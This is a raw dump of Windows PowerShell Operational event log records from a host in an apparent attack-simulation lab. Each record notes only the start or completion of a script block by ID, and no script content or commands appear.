SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647579
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647578
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647577
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647596
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647595
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647594
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647593
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647592
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647591
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647590
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647589
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647588
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647587
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647606
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647605
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647603
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647602
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647601
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647599
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647598
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647597
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647616
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647615
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647614
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647613
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647612
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647611
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647609
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647607
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647626
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647625
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647624
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647623
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647622
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647621
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647619
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647617
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647635
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647634
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647633
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647631
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647630
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647629
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647628
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647627
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:38 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647646
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
